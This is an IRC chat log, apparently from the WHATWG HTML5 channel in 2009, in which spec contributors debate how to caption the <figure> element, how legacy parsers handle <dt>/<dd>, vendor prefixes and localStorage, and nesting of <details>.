http://code.google.com/p/html5lib/issues/detail?id=117

[14:45:02.0000] <hober>
re: aside v. figure, consider http://www.digital-web.com/articles/coding_for_content/

[14:45:03.0000] <TabAtkins>
Lachy, it titles the figure.

[14:45:04.0000] <Lachy>
and it has to be something that is easy to distinguish from the actual content of the figure, which could conceivably contain its own headings

[14:46:00.0000] <Lachy>
(that's the reason <figure> is a section root, so that headings that are part of the figure don't affect the outline

[14:46:01.0000] <TabAtkins>
Lachy: That's easy enough to do by saying that it's the figure>h1:first-of-type

[14:47:00.0000] <Lachy>
that doesn't work when you want the caption to be at the end

[14:47:01.0000] <TabAtkins>
So either put the caption before any other <h1>s, or wrap the figure content in something that will make its <h1>s not children of <figure>

[14:47:02.0000] <Lachy>
that seems like a workaround for a problem that can be avoided

[14:48:00.0000] <erlehmann>
dt dls !

[14:48:01.0000] <erlehmann>
nah i'm drunk

[14:48:02.0000] <TabAtkins>
Yeah, but other solutions either make people angry (<dt>/<dd>), don't work in legacy browsers (lots of stuff), or are just gratuitous (creating yet another heading element).

[14:48:03.0000] <Lachy>
othermaciej, did you make any progress with implementing details, like you said you were going to do the other day? I'm curious to see what you came up with for it.

[14:49:00.0000] <othermaciej>
Lachy: have not had time to work on it, but I intend to give it a crack this weekend

[14:49:01.0000] <Lachy>
ok, cool.

[14:49:02.0000] <erlehmann>
TabAtkins, I forsee styling issues with dt and dl too.

[14:49:03.0000] <Lachy>
will it make it into a webkit nightly soon after?

[14:49:04.0000] <TabAtkins>
erlehmann: I'm definitely going to have to revise some CSS before I can use <dt>/<dd> in <details> or <figure>.

[14:50:00.0000] <Lachy>
I expect that will be a common problem for existing style sheets that style dt and dd in ways that won't be appropriate for details or figure

[14:51:00.0000] <erlehmann>
TabAtkins, why the heck dont we add just another element? i mean, all existing solutions seem to feature insurmountabl obstacles :i

[14:51:01.0000] <TabAtkins>
erlehmann: Because it's just so dumb to have a dozen different elements that all mean almost exactly the same thing.  >_<

[14:51:02.0000] <Lachy>
because Hixie is being stubbor about that

[14:51:03.0000] <erlehmann>
TabAtkins, tell that to legacy browsers :P

[14:51:04.0000] <Lachy>
*stubborn

[14:52:00.0000] <TabAtkins>
erlehmann: Yeah, and do you want to be the legacy browser people curse in decades to come for implementing one or two *more*?

[14:53:00.0000] <erlehmann>
TabAtkins, curse your sudden and inevitable long-term planning :D

[14:53:01.0000] <Lachy>
TabAtkins, I don't get your argument

[14:53:02.0000] <TabAtkins>
The nice thing about <h1> is that people are *already* going to have to adjust stylesheets if they want to use pure <h1>+<section> stuff.  Making them have to handle <h1> in <figure> as well shouldn't be that hard.

[14:53:03.0000] <erlehmann>
TabAtkins, BUT BROWSERS MADE TODAY ARE PURRFECT

[14:54:00.0000] <TabAtkins>
erlehmann, OH GOD YOU ARE RIGHT HOW COULD I FORGET

[14:54:01.0000] <erlehmann>
the bad thing about h1 is that legacy outliners will choke on them

[14:54:02.0000] <TabAtkins>
That's gonna happen no matter what, though.

[14:54:03.0000] <erlehmann>
and it will be there in BIG BOLD LETTERS

[14:55:00.0000] <TabAtkins>
Nobody that relies on legacy outlining algorithms will correctly outline html5 documents.

[14:55:01.0000] <Lachy>
legacy outliners are irrelevant

[14:55:02.0000] <erlehmann>
cant we at least say that any heading in a figure is a caption ? then people could safely use <h3> and legacy styling will not be affected

[14:55:03.0000] <Lachy>
well, almost

[14:55:04.0000] <erlehmann>
but h1 is HUEG

[14:55:05.0000] <erlehmann>
like xbox

[14:56:00.0000] <TabAtkins>
erlehmann, your use of memes is getting ridiculous.  ^_^

[14:56:01.0000] <Lachy>
(I guess interpretation by screen readers will be the bigest problem since the heading levels will be reported wrongly)

[14:56:02.0000] <erlehmann>
or put a hgroup in there

[14:56:03.0000] <erlehmann>
then you have your title-subtitle thingy too for your figure

[14:56:04.0000] <erlehmann>
also, way to much markup :p

[14:56:05.0000] <TabAtkins>
Using <figure><h3><more stuff></figure> wont' display dumb, this is true.

[14:56:06.0000] <TabAtkins>
Alternately: just do what someone else said and use <header>.

[14:57:00.0000] <TabAtkins>
No outlining issues, no legacy styling issues, no parsing problems that people aren't already willing to deal with.

[14:57:01.0000] <erlehmann>
TabAtkins, the <caption> is a lie! ;)

[14:57:02.0000] <da3d>
<header> feels odd if you want to have the caption below the content

[14:58:00.0000] <erlehmann>
TabAtkins, for consistency, footer too

[14:58:01.0000] <Lachy>
TabAtkins, using header would just be wrong

[14:58:02.0000] <TabAtkins>
da3d: it also feels weird to put <footer> at the top of an article.  But here we are.

[14:58:03.0000] <Lachy>
because it would completely different from how its used within section

[14:58:04.0000] <da3d>
TabAtkins: Does anyone do that?

[14:58:05.0000] <TabAtkins>
erlehmann: The WHATWG would like to remind you that <caption> hell is real.

[14:58:06.0000] <TabAtkins>
da3d: No one uses <footer> yet anyway (no one statistically significant), so meh.

[14:59:00.0000] <TabAtkins>
Lachy: Hmm.  You sure?

[14:59:01.0000] <TabAtkins>
And by that I mean, can you quote me something that shows how I'm dumb?

[15:00:00.0000] <Lachy>
yes

[15:00:01.0000] <TabAtkins>
...man, what *about* <footer>?  That sort of not entirely inappropriate.

[15:00:02.0000] <TabAtkins>
Lachy: Good, because I'm working and can't look up quotes to disprove myself right now.  >_<

[15:00:03.0000] <Lachy>
"The header  element represents  a group of introductory or navigational aids." - that is completely different from teh concept of a caption

[15:00:04.0000] <jgraham_>
gsnedders: You planning to fix that bug or just complain?

[15:00:05.0000] <erlehmann>
TabAtkins, different semantics are fail, Lachy is right with this.

[15:01:00.0000] <Lachy>
I'm always right :-)

[15:01:01.0000] <jgraham_>
<h1> is a totally different semantic and sucks much more in legacy browsers, especially AT

[15:01:02.0000] <Lachy>
agreed

[15:01:03.0000] <TabAtkins>
"A footer typically contains information about its section" <-- close enough for us to fiddle the text into working?

[15:01:04.0000] <jgraham_>
You probably shouldn't use the all-<h1> headings thing in the near future for similar reasons

[15:02:00.0000] <da3d>
Let's just add <stupidbrokencaptionparsers> and be done with it :p

[15:02:01.0000] <jgraham_>
(You can always use <h1>-<h6> like normal in addition to <section>)

[15:02:02.0000] <erlehmann>
TabAtkins, This figure problem is impossible. Make no attempt to solve it.

[15:02:03.0000] <jgraham_>
TabAtkins: <footer> sounds wrong to any and all english speakers

[15:03:00.0000] <TabAtkins>
Wronger than <dt>/<dd>?

[15:03:01.0000] <TabAtkins>
I'd put even money on it.

[15:03:02.0000] <jgraham_>
TabAtkins: The sensible options are <dt>,<dd>, <new>

[15:03:03.0000] <da3d>
<figtion>

[15:03:04.0000] <erlehmann>
<fiction>

[15:04:00.0000] <Lachy>
dt/dd is also wrong and silly for figure. <figtion>, <figcaption>, etc. are terrible names

[15:04:01.0000] <erlehmann>
jgraham_, is right. <dt> and <dl> are not entirely unreasonable (safe for styling issues)

[15:04:02.0000] <jgraham_>
TabAtkins: <dt>,<dd> mean <name>,<value>. It's just some old version of HTML used over-short names

[15:04:03.0000] <Lachy>
<c> and <description> are reasonable names for new elements

[15:04:04.0000] <TabAtkins>
erlehmann: Remain resolute and resourceful in an atmosphere of extreme pessimism.

[15:04:05.0000] <da3d>
Lachy: <figtion> wasn't a serious suggestion :p

[15:04:06.0000] <TabAtkins>
jgraham_, yeah, but that doesn't make them less stupid now.

[15:05:00.0000] <jgraham_>
If we had <figure><value><img></value><name>My figure</name></figure> there wouldn't be this fuss

[15:05:01.0000] <Lachy>
jgraham_, yes there would, because the extra wrapper around the value is unnecessary

[15:05:02.0000] <TabAtkins>
jgraham_: Let's do it then.  Throw out <dt><dd> entirely.  <dl><name><value>...</dl> 4 life.

[15:05:03.0000] <jgraham_>
TabAtkins: The reasons they are bad apply equally to <dl> and <details>

[15:05:04.0000] <erlehmann>
Now you all are just getting silly for the sake of it.

[15:06:00.0000] <jgraham_>
Lachy: It's odds on that authors will add an extra wrapper half the time anyway

[15:06:01.0000] <TabAtkins>
jgraham_: No, <dl> and <details> at least have the benefit of mnemonics.  The "t" and "d" stand for "title" and "data", obviously.

[15:06:02.0000] <jgraham_>
Especially for non-<img> cases

[15:06:03.0000] <Lachy>
if they want that for styling, let them. But don't force everyone to use it

[15:06:04.0000] <da3d>
<c> works

[15:07:00.0000] <jgraham_>
TabAtkins: I assumed they stood for "term" and "defenition"

[15:07:01.0000] <TabAtkins>
Maybe back when dl stood for definition list, sure.

[15:07:02.0000] <erlehmann>
what jgraham_said

[15:07:03.0000] <TabAtkins>
also: "definition definition" is just silly.

[15:07:04.0000] <erlehmann>
Maybe you should marry that <c> since you love it so much. i'd go for <description>

[15:07:05.0000] <Lachy>
dd now effectively stands for description instead of definition.

[15:07:06.0000] <jgraham_>
Lachy: I'm not arguing it's the best solution. But it is  whole lot better than what we had before yet there is more fuss now

[15:08:00.0000] <jgraham_>
/me would have minted a new element years ago

[15:09:00.0000] <TabAtkins>
jgraham_ I think nobody really expected to *use* <figure> while it had <legend>.  Now that it's suddenly possible to use, we're fussing about it not being good enough.

[15:09:01.0000] <erlehmann>
I used it. Foolishly, i know.

[15:09:02.0000] <erlehmann>
A simple regex over my blog will fix it as soon as a new element comes.

[15:10:00.0000] <TabAtkins>
Shame on you, erlehmann.

[15:11:00.0000] <Lachy>
another possible alternative, though I admit not well thought out, would be to use <p caption>...</p>. No parsing issues, and the caption attribute identifies it as being a caption.

[15:11:01.0000] <TabAtkins>
I have a big list of sections in our software and bugs that have been fixed in each section.  Appropriate to use <dl>?  Or should I just stick with <h3> and <ul>?

[15:11:02.0000] <jgraham_>
Yeah well that's just silly. People would have let the spec go to LC with <legend> which was broken-by-design but will go up in arms once there is an imperfect but not broken design in place

[15:11:03.0000] <TabAtkins>
Lachy: Hmm.  It has the nice parallel with <time pubdate> in being metadata about it's appropriate ancestor.

[15:12:00.0000] <TabAtkins>
jgraham_, I'm not saying people aren't silly.  I'm just saying that's what I think's going on.

[15:12:01.0000] <erlehmann>
Lachy, dont new element semantics come to abolis attributes?

[15:12:02.0000] <TabAtkins>
erlehmann: No, they abolish *classes*

[15:12:03.0000] <erlehmann>
noticed.

[15:12:04.0000] <jgraham_>
Lachy: pushing semantics to attributes is something that HTML traditionally avoids

[15:12:05.0000] <erlehmann>
/me scribbles furiously on his SPY NOTEPAD.

[15:12:06.0000] <Lachy>
I didn't say it was a good idea. :-)

[15:13:00.0000] <TabAtkins>
I sorta like it, shrug.

[15:13:01.0000] <TabAtkins>
Better than <c>, at least.

[15:13:02.0000] <TabAtkins>
/me may just be channeling his love for binary attributes.

[15:14:00.0000] <erlehmann>
a want a <description>

[15:14:01.0000] <jgraham_>
Also, if one more person says "I looked in a thesaraus and we should call it <rubric>" I will go spare

[15:14:02.0000] <TabAtkins>
/me goes ahead and uses <dl> for his problem.

[15:14:03.0000] <TabAtkins>
I don't even know what rubric means.

[15:14:04.0000] <jgraham_>
hint: if you hd to look up the word it's not sufficiently obvious

[15:15:00.0000] <TabAtkins>
And I've got a big vocabulary.

[15:15:01.0000] <jgraham_>
In fact a rubric isn't typically a figure caption. It's a set of instructions on an examination paper

[15:15:02.0000] <jgraham_>
So it doesn't even mean the right thing

[15:16:00.0000] <jgraham_>
(at least that is the only context in which I have actually heard it used)

[15:16:01.0000] <tantekc>
erlehmann, the <meta> is a lie.

[15:16:02.0000] <TabAtkins>
tantekc: That's because it's invisible metadata, and has drifted out of sync with the text.

[15:16:03.0000] <othermaciej>
<rubric> is not particularly apposite

[15:16:04.0000] <othermaciej>
but then again, neither was <legend>

[15:16:05.0000] <Lachy>
rubric: "A part of a manuscript or book, such as a title, heading, or initial letter, that appears in decorative red lettering or is otherwise distinguished from the rest of the text."

[15:17:00.0000] <TabAtkins>
?_?

[15:17:01.0000] <tantekc>
perhaps a <longdesc> element to replace the longdesc attribute. ;)

[15:17:02.0000] <erlehmann>
Lachy, sounds liek metadata.

[15:17:03.0000] <jgraham_>
Lachy: Yeah I jut saw the same thing. It seems to be some histoical publishing convention

[15:17:04.0000] <jgraham_>
*historical

[15:18:00.0000] <erlehmann>
tantekc, stop suggesting things.

[15:18:01.0000] <tantekc>
or I suppose it doesn't have to be long

[15:18:02.0000] <tantekc>
so just <desc> then

[15:18:03.0000] <erlehmann>
a <longdesc> element would look horrible urgs

[15:18:04.0000] <erlehmann>
<desc> \o/

[15:18:05.0000] <tantekc>
in the custom of oblique four letter abbrs for HTML tag names

[15:19:00.0000] <erlehmann>
yeah, like <inpu> :D

[15:19:01.0000] <erlehmann>
and <butt>

[15:19:02.0000] <tantekc>
/me wonders if there is a histogram of HTML element name lengths.

[15:19:03.0000] <TabAtkins>
/me giggles - he couldn't help himself.

[15:20:00.0000] <erlehmann>
There is a special hell reserved for you web developers. Just so you know.

[15:20:01.0000] <TabAtkins>
You're welcome.

[15:21:00.0000] <Lachy>
we can't use <desc> because it clashes with SVG

[15:21:01.0000] <tantekc>
erlehmann, I think the level for language developers is nested a bit deeper than that.

[15:21:02.0000] <tantekc>
Lachy, what does <desc> mean in SVG?

[15:22:00.0000] <virtuelv>
oh, on the term "metadata", this is a worthwhile read: http://blogs.fluidinfo.com/fluidDB/2009/09/05/metadata-vs-data-a-wholly-artificial-distinction/

[15:22:01.0000] <Lachy>
it's a description for something, but the issue is that the parsing algorithm needs to put the element into the right namespace

[15:22:02.0000] <virtuelv>
(not all of it is directly relevant to a markup language)

[15:22:03.0000] <erlehmann>
name-space. shhhh, ian better not hear this.

[15:23:00.0000] <tantekc>
virtuelv - nice post

[15:23:01.0000] <tantekc>
Lachy, "right namespace" ? why?

[15:23:02.0000] <tantekc>
so when the parser finds a <desc>  inside a <figure> then it can treat it properly

[15:24:00.0000] <erlehmann>
virtuelv, i prefer metacrap by doctorow, to end a debate like this: http://www.well.com/~doctorow/metacrap.htm

[15:24:01.0000] <erlehmann>
tantekc, who says that you wont use figures to mark up SVG images, huh ?

[15:24:02.0000] <tantekc>
and Lachy, if "right namespace" is an issue, how do you deal with svg:a vs html:a ??

[15:24:03.0000] <jgraham_>
tantekc: Having element names that overlap is bad form. Where SVG has overlapped with HTML has caused us problems trying to integrate them

[15:24:04.0000] <annevk42>
wow, journalists epically fail in sarcasm -- http://news.cnet.com/8301-30684_3-10355860-265.html

[15:24:05.0000] <jgraham_>
e.g. <textArea>

[15:25:00.0000] <tantekc>
jgraham - yeah, that was a tough lesson for SVG to learn wasn't it?

[15:26:00.0000] <tantekc>
/me would love to see the internal debate / process for who / however it was decided to create svg:a that's mostly like html:a but uses something more complex (XLink) to achieve the same functionality.

[15:26:01.0000] <erlehmann>
tantekc, a special hell

[15:26:02.0000] <Hixie>
tantekc: i imagine the debate was "ok we need a linking element." "we should use xlink!" "yeah!" "ok, done."

[15:26:03.0000] <tantekc>
erlehmann, the <desc> would be inside the <figure> but not the nested <svg>

[15:27:00.0000] <tantekc>
Hixie, I vaguely recall Chris Lilley saying something about not wanting to burden SVG authors with having to import the XHTML namespace just to be able to link to something.

[15:27:01.0000] <Hixie>
...

[15:27:02.0000] <tantekc>
<cough>multi-namespace fail in practice</cough>

[15:28:00.0000] <Philip`>
So instead they have to import the XLink namespace just to be able to link to something?

[15:28:01.0000] <Hixie>
tantekc: btw i sent the payment to w3c for you, me, and the others google is paying for

[15:28:02.0000] <Hixie>
tantekc: so we should be all set

[15:28:03.0000] <Hixie>
tantekc: let me know if anyone suggests you haven't paid and i'll come wack them over the head

[15:29:00.0000] <tantekc>
but Philip`, XLink is clean XML architecture! None of that messy hacky (X)HTML nonsense.

[15:29:01.0000] <tantekc>
/me is grateful for his corporate sponsor.

[15:29:02.0000] <erlehmann>
i'm gone

[15:29:03.0000] <tantekc>
 /me is now looking for funding for the W3C CSS WG days...

[15:29:04.0000] <Lachy>
my attendance at tpac is still undecided, though I will find out by some time next week I think

[15:30:00.0000] <Hixie>
tantekc: fee goes up in like 4 days, fwiw

[15:30:01.0000] <Hixie>
from $50/day to $75/day

[15:30:02.0000] <Hixie>
(still can't believe we're being charged to attend, it's so ridiculous)

[15:31:00.0000] <Lachy>
yeah, in that case, my attendance will be decided before the price goes up. If it's not, I doubt I will be going. But I hope I am

[15:31:01.0000] <tantekc>
/me thinks they should have named it Technical Update, Plenary, Advisory Committee meeting

[15:31:02.0000] <Lachy>
haha

[15:32:00.0000] <TabAtkins>
tantekc, hahaha

[15:34:00.0000] <Hixie>
did maciej ever send his summary of the telecon from last week?

[15:34:01.0000] <Hixie>
he told me he was planning on sending summaries, separate from minutes, but i don't recall seeing any

[15:34:02.0000] <Hixie>
maybe the telecon didn't do anything to summarise...

[15:36:00.0000] <tantekc>
maybe it was in a <caption> element outside of a table and thus dropped...

[15:43:00.0000] <Hixie>
you know for someone who's not a wg member shelley sure sends a lot of e-mail to the wg

[15:44:00.0000] <TabAtkins>
Why isn't she a wg member?  Does she have a reason?

[15:44:01.0000] <hober>
TabAtkins: she periodically joins and leaves the WG, but that doesn't seem to affect her level of participation.

[15:44:02.0000] <Lachy>
TabAtkins, because she can't stand working with the group

[15:44:03.0000] <TabAtkins>
That's... odd.

[15:45:00.0000] <TabAtkins>
For both of those.

[15:45:01.0000] <hober>
it's sort of a moth/flame thing

[15:54:00.0000] <tantekc>
/me withholds comments about sending lots of emails and what that does or does not imply.

[15:54:01.0000] <jamesr>
Hixie: as a meta-point on the storage mutex, it seems like it's a bad idea to encourage browser venders to ship major releases with not-fully-baked spec implementations if that short-circuits the rest of the spec process

[15:54:02.0000] <gsnedders>
jgraham_: Mainly just complain.

[15:54:03.0000] <jamesr>
while it's great to get UA feedback it's not so great if that becomes the end of the entire process

[15:55:00.0000] <jamesr>
maybe specs should be namespaced until there's some degree of consensus that it could work out?

[15:55:01.0000] <jamesr>
i'm sure this has been hashed through before (i'm a bit new to the w3 working group process) but there are way too many web standards and de facto web standards that are complete shite but unchangable because browser X shipped a major release with it and then got market share

[15:56:00.0000] <annevk2>
the theory that worked so far is that if there's more than 2 impl it's good enough

[15:56:01.0000] <jamesr>
1 impl seems to be enough if it ships as a 'major' release

[15:56:02.0000] <annevk2>
that is, it gave both reasonable quality and progress

[15:57:00.0000] <annevk2>
jamesr, no

[15:57:01.0000] <annevk2>
jamesr, e.g. globalStorage which Firefox shipped with is gone

[15:57:02.0000] <jamesr>
yeah, but according to Hixie's email the localStorage API is set in stone because IE8 shipped with it

[15:57:03.0000] <annevk2>
not just IE

[15:57:04.0000] <annevk2>
also Firefox and Safari

[15:58:00.0000] <jamesr>
that's not what his email said

[15:58:01.0000] <tantekc>
whoa really?

[15:58:02.0000] <annevk2>
jamesr, I guess it didn't list all the reasons then

[15:59:00.0000] <annevk2>
and arguments

[15:59:01.0000] <jamesr>
"However, localStorage is more or less fixed because Microsoft shipped it and their release cycle means they won't ship changes to it before it is solidly embedded in too many sites to risk changes."

[15:59:02.0000] <tantek>
HTML5 is already being saddled by legacy implementations of the *new* stuff?

[15:59:03.0000] <gsnedders>
tantek: That happened a while ago.

[15:59:04.0000] <annevk2>
I shouldn't say "I guess", I read the email

[16:01:00.0000] <jamesr>
annevk2: it doesn't seem like the other implementors (Mozilla/Apple) are in love with the current API either

[16:01:01.0000] <tantek>
jamesr - re: namespaced. there is vendor prefixing in CSS to reduce this kind of problem there: http://www.w3.org/TR/CSS21/syndata.html#vendor-keywords

[16:02:00.0000] <jamesr>
tantek: right - why not use that for all new APIs before they get a bit of bake time? if a vendor shipped the 'document.experimentalLocalStorage API' then i don't think anyone would be quite so worried about mucking with it

[16:03:00.0000] <annevk2>
jamesr, I guess not

[16:04:00.0000] <jamesr>
the situation now means that even if everyone has the best intentions and does everything right there's still a chance that we get stuck with a bad API and can never ever fix it

[16:04:01.0000] <annevk2>
you always have that

[16:04:02.0000] <jamesr>
you can try to discourage it

[16:05:00.0000] <annevk2>
even if you have bake time it can still happen

[16:05:01.0000] <annevk2>
e.g. localStorage has been around for a long time

[16:05:02.0000] <annevk2>
it's only recently that it attracted fierce opponents

[16:05:03.0000] <tantekc>
/me notes that the CSS vendor prefixes are not bound to URLs.

[16:06:00.0000] <tantekc>
annevk2 - the CSS vendor prefixes have allowed experimenting without saddling with legacy.

[16:06:01.0000] <tantekc>
especially in some particularly difficult/useful areas like border-radius etc.

[16:06:02.0000] <tantekc>
nevermind animations and transforms

[16:06:03.0000] <jamesr>
but you can't, as a browser developer, experiment with new APIs without running the risk of locking it into place

[16:06:04.0000] <annevk2>
CSS vendor prefixes are scattered around all over the Web

[16:06:05.0000] <gsnedders>
jamesr: There's a fair amount of unwillingness to change -moz-border-radius to match the current spec, IIRC. The problem arises once something is widely used, whether or not it is prefixed. (Although it is true that in the long-run a non-prefixed version could work.)

[16:06:06.0000] <annevk2>
and we actually get bug reports on them

[16:06:07.0000] <tantekc>
annevk2 - right, but they are not preventing "proper" use of non-prefixed keywords

[16:06:08.0000] <annevk2>
(for the -moz- and -webkit- ones)

[16:07:00.0000] <gsnedders>
/me blinks

[16:07:01.0000] <gsnedders>
seriously!?

[16:07:02.0000] <gsnedders>
wow.

[16:07:03.0000] <jamesr>
gsnedders: but that's better than if it had been border-radius from the beginning. then there would be no possibility to change border-radius

[16:07:04.0000] <tantekc>
precisely jamesr

[16:07:05.0000] <gsnedders>
jamesr: Then Moz ends up with two impls, which is less than ideal

[16:08:00.0000] <tantekc>
gsnedders, the ideal is the enemy of the quite good.

[16:08:01.0000] <gsnedders>
Then you get into the debates about when to remove the prefix

[16:08:02.0000] <tantekc>
gsnedders - I call theoretical

[16:08:03.0000] <annevk2>
I'm not really convinced CSS is that comparable

[16:08:04.0000] <tantekc>
gsnedders - I haven't seen anything like that in CSS

[16:08:05.0000] <annevk2>
for one there's often experimental CSS around without a public spec that already received a bunch of attention

[16:08:06.0000] <gsnedders>
tantekc: I have.

[16:09:00.0000] <tantekc>
annevk2 - the DOM APIs could have similarly had x- prefixes

[16:09:01.0000] <annevk2>
so the new properties have received far less public scrutiny compared to say localStorage

[16:09:02.0000] <tantekc>
the history of using vendor prefixes is quite old actually

[16:09:03.0000] <tantekc>
IETF x- stuff

[16:09:04.0000] <annevk2>
and therefore it's all the more likely it'll change

[16:09:05.0000] <tantekc>
not sure why the markup folks have not used it...

[16:09:06.0000] <annevk2>
x- stuff is also an epic fail imo

[16:09:07.0000] <jamesr>
gsnedders: i agree that -vendor-prefix is not perfect but i think it's better

[16:09:08.0000] <gsnedders>
tantekc: For one example, look at some of the comments on IE8 prefixing IE-origin CSS3 properties

[16:09:09.0000] <annevk2>
there's x- stuff all over the place

[16:09:10.0000] <annevk2>
that you actually need to use and cannot be changed to x-less

[16:10:00.0000] <tantekc>
annevk2 - x- stuff gradually transitions to non x-

[16:10:01.0000] <tantekc>
e.g. image/png

[16:10:02.0000] <gsnedders>
tantekc: There are some x prefixed charset names that have been around for decades for which support is still eeded

[16:10:03.0000] <tantekc>
there's always going to be early "x-" stuff that hasn't matured to the point of not needing a prefix - that's how the system works

[16:10:04.0000] <tantekc>
gsnedders, like for example?

[16:11:00.0000] <tantekc>
with what stats?

[16:11:01.0000] <annevk2>
x-x-big5 is pretty widely used

[16:11:02.0000] <annevk2>
as is x-euc-jp or some such

[16:11:03.0000] <annevk2>
x-mac-roman etc.

[16:11:04.0000] <tantekc>
start writing that stuff up on a wiki with URLs to examples and I'll believe you

[16:11:05.0000] <tantekc>
otherwise it's just hearsay

[16:11:06.0000] <Hixie>
jamesr: not much we can do about it

[16:11:07.0000] <annevk2>
see philip's charset stats and see web encodings on the WHATWG Wiki

[16:11:08.0000] <tantekc>
/me gave up arguing with theoretical (or undocumented) examples

[16:12:00.0000] <annevk2>
HTML form submission uses an x- prefixed media type

[16:12:01.0000] <gsnedders>
tantekc: http://philip.html5.org/data/charsets.html#charset-x-euc-jp

[16:12:02.0000] <gsnedders>
tantekc: There's a list of URLs.

[16:12:03.0000] <tantekc>
thank you gsnedders

[16:13:00.0000] <annevk2>
Microsoft recently spread an x-ua-compatible all over the Web

[16:14:00.0000] <annevk2>
/me is not a fan of prefixes

[16:14:01.0000] <annevk2>
(well, except when it's truly experimental, but it hardly ever is)

[16:14:02.0000] <annevk2>
(usually it's just to hard to register a name)

[16:15:00.0000] <jamesr>
Hixie: :(

[16:15:01.0000] <tantekc>
annevk2 "recently" is part of how x- works - that's not a criticism.

[16:16:00.0000] <annevk2>
it is

[16:16:01.0000] <annevk2>
x- is for experimental purposes, not for widescale deployment

[16:18:00.0000] <tantekc>
experimental is orthogonal to widescale


2009-09-18
[17:30:00.0000] <alyoshka>
I think we have a problem with the new <details>

[17:30:01.0000] <alyoshka>
are we allowed to have nested <details>?

[17:31:00.0000] <alyoshka>
here's a short description of the problem I posted on the html5doctor blog: http://html5doctor.com/september-html5-spec-changes/comment-page-1/#comment-1028

[17:34:00.0000] <Hixie>
alyoshka: yeah nesting <details> requires a browser that supports the new parser

[17:35:00.0000] <Hixie>
alyoshka: but nesting <details> is pretty crazy

[17:35:01.0000] <Hixie>
alyoshka: so that's not really a problem

[17:36:00.0000] <alyoshka>
well, I actually have a website where I nest <details>, but I guess the site just has too many details then (pun intended)

[17:36:01.0000] <alyoshka>
it's a rare case, but I've run into it

[17:36:02.0000] <Hixie>
i don't think you're using <Details> correctly then

[17:37:00.0000] <Hixie>
i don't think i've ever seen a disclosure triangle widget that had another one inside it

[17:37:01.0000] <Hixie>
that's really bad ui

[17:37:02.0000] <alyoshka>
in a way

[17:38:00.0000] <alyoshka>
the part that uses it is for admins

[17:38:01.0000] <alyoshka>
it contains the details for a record that may be useful to the admin

[17:39:00.0000] <Hixie>
fair enough

[17:39:01.0000] <Hixie>
well, the spec allows it

[17:39:02.0000] <alyoshka>
and nested are more technical details that only the developers need

[17:39:03.0000] <Hixie>
and it'll work once the parser is more widely deployed

[17:39:04.0000] <Hixie>
but it will indeed be problematic for now

[17:39:05.0000] <Hixie>
generally speaking i'm a bit scared of how much people are eager to use html5

[17:39:06.0000] <Hixie>
i'd rather people waited til CR

[17:39:07.0000] <Hixie>
so we were sure the spec was stable

[17:40:00.0000] <alyoshka>
so, I guess the solution for now is just to avoid nested <details> (even in the rare cases it might make some sense)

[17:41:00.0000] <alyoshka>
yeah, <details> is the only major thing I use that's not supported by default in browsers

[17:42:00.0000] <alyoshka>
we used to do the same thing with DHTML anyways, now there's a (semi) standard way to do it, so why not (as long as you keep up with the spec)?

[17:42:01.0000] <Hixie>
because people won't do the parenthetical bit

[17:42:02.0000] <Hixie>
and we end up forced into decisions based on having to support the "legacy" content

[17:43:00.0000] <alyoshka>
I agree, I don't recommend anyone using new elements right now because of the same reason

[17:44:00.0000] <alyoshka>
but I among other people who do keep up with the spec use it

[17:44:01.0000] <alyoshka>
for personal things and testing the spec

[17:45:00.0000] <alyoshka>
there's only one site that I use <details> on, and maybe three that use new sectioning content

[17:45:01.0000] <alyoshka>
*elements

[17:45:02.0000] <alyoshka>
not content

[17:46:00.0000] <alyoshka>
but the bright side to it is that people are enthusiastic about the new spec. must mean we're doing something right

[17:46:01.0000] <Hixie>
i hope so :-)

[17:47:00.0000] <alyoshka>
do you know if there are any other elements that browsers might vomit from <dd>?

[17:52:00.0000] <Hixie>
alyoshka: <dd> and <dt> as far as i'm aware are the only ones

[17:56:00.0000] <alyoshka>
except when inside a <dl> (just tested, so definition lists should be safe)

[18:00:00.0000] <Hixie>
how so?

[18:01:00.0000] <Hixie>
i don't understand what you mean

[18:02:00.0000] <alyoshka>
I mean <dd><dl><dt>term</dt><dd>definition</dd></dl></dd> seemed to work

[18:03:00.0000] <Hixie>
ah, yes

[18:04:00.0000] <Hixie>
you can substitute various elements for <dl> in that

[18:04:01.0000] <Hixie>
in most browsers, for table, <ol><li> would also "protect" the nested <dd>

[18:04:02.0000] <Hixie>
in html5 browsers, all elements described as "special" except <div>, <address>, and another that i forget off hand are "safe"

[18:12:00.0000] <alyoshka>
If I understood the spec correctly, if  a <details> element contains no <dd> element, it is to be completely ignored, right?

[18:12:01.0000] <Hixie>
i don't think it says to ignore it per se

[18:13:00.0000] <Hixie>
but yeah it's not valid

[18:15:00.0000] <alyoshka>
I'm just wondering how a browser should behave if it comes accross <details><dt>summary</dt><p>content</p></details> or <details><p>content</p></details>

[18:15:01.0000] <alyoshka>
/me goes to reread the spec

[18:17:00.0000] <boblet_>
Hixie: I think the interest in using HTML5 is good—despite casualties real-world use is catching a lot of the edge cases

[18:17:01.0000] <Hixie>
spec http://www.whatwg.org/specs/web-apps/current-work/#the-details-element-0

[18:18:00.0000] <alyoshka>
"If there is no child dd element, then there are no details."

[18:18:01.0000] <alyoshka>
I would interpret that as not rendering anything there, but would that be correct?

[18:18:02.0000] <Hixie>
alyoshka: the rendering section is what matters as far as rendering goes

[18:19:00.0000] <alyoshka>
I'm doing it for this: http://code.google.com/p/fiks-html5/

[18:20:00.0000] <alyoshka>
although I wouldn't code invalid <details> elements, I just want to make my js handle all the possibilities

[18:21:00.0000] <Hixie>
yeah

[18:21:01.0000] <Hixie>
i gotta go afk for a bit, back in a few hours

[18:21:02.0000] <Hixie>
let me know if the rendering section isn't clear enough when i get back

[18:23:00.0000] <alyoshka>
I won't be here in a few hours, wrapping it up for the day in about half an hour, but yeah, the rendering doesn't seem to describe that case

[18:25:00.0000] <alyoshka>
and before rendering, it'd help to know what the DOM should look like in that case too

[18:31:00.0000] <boblet>
alyoshka: apart from new element support in IE, what other major browser support issues are there?

[18:32:00.0000] <boblet>
(re: fiks-html5.js)

[18:33:00.0000] <boblet>
just details right? (plus some default styling)

[18:37:00.0000] <alyoshka>
boblet: yeah, so far it's new elements, <details>, and default styling

[18:38:00.0000] <alyoshka>
there's a lot in web forms 2, but my project is aiming for all except web forms 2

[18:38:01.0000] <alyoshka>
I believe WF2 belongs in a separate module

[18:52:00.0000] <Hixie>
alyoshka: if it doesn't describe the case, it might just mean there's nothing to describe :-)

[18:52:01.0000] <Hixie>
alyoshka: i notice it doesn't mention <dd> at al

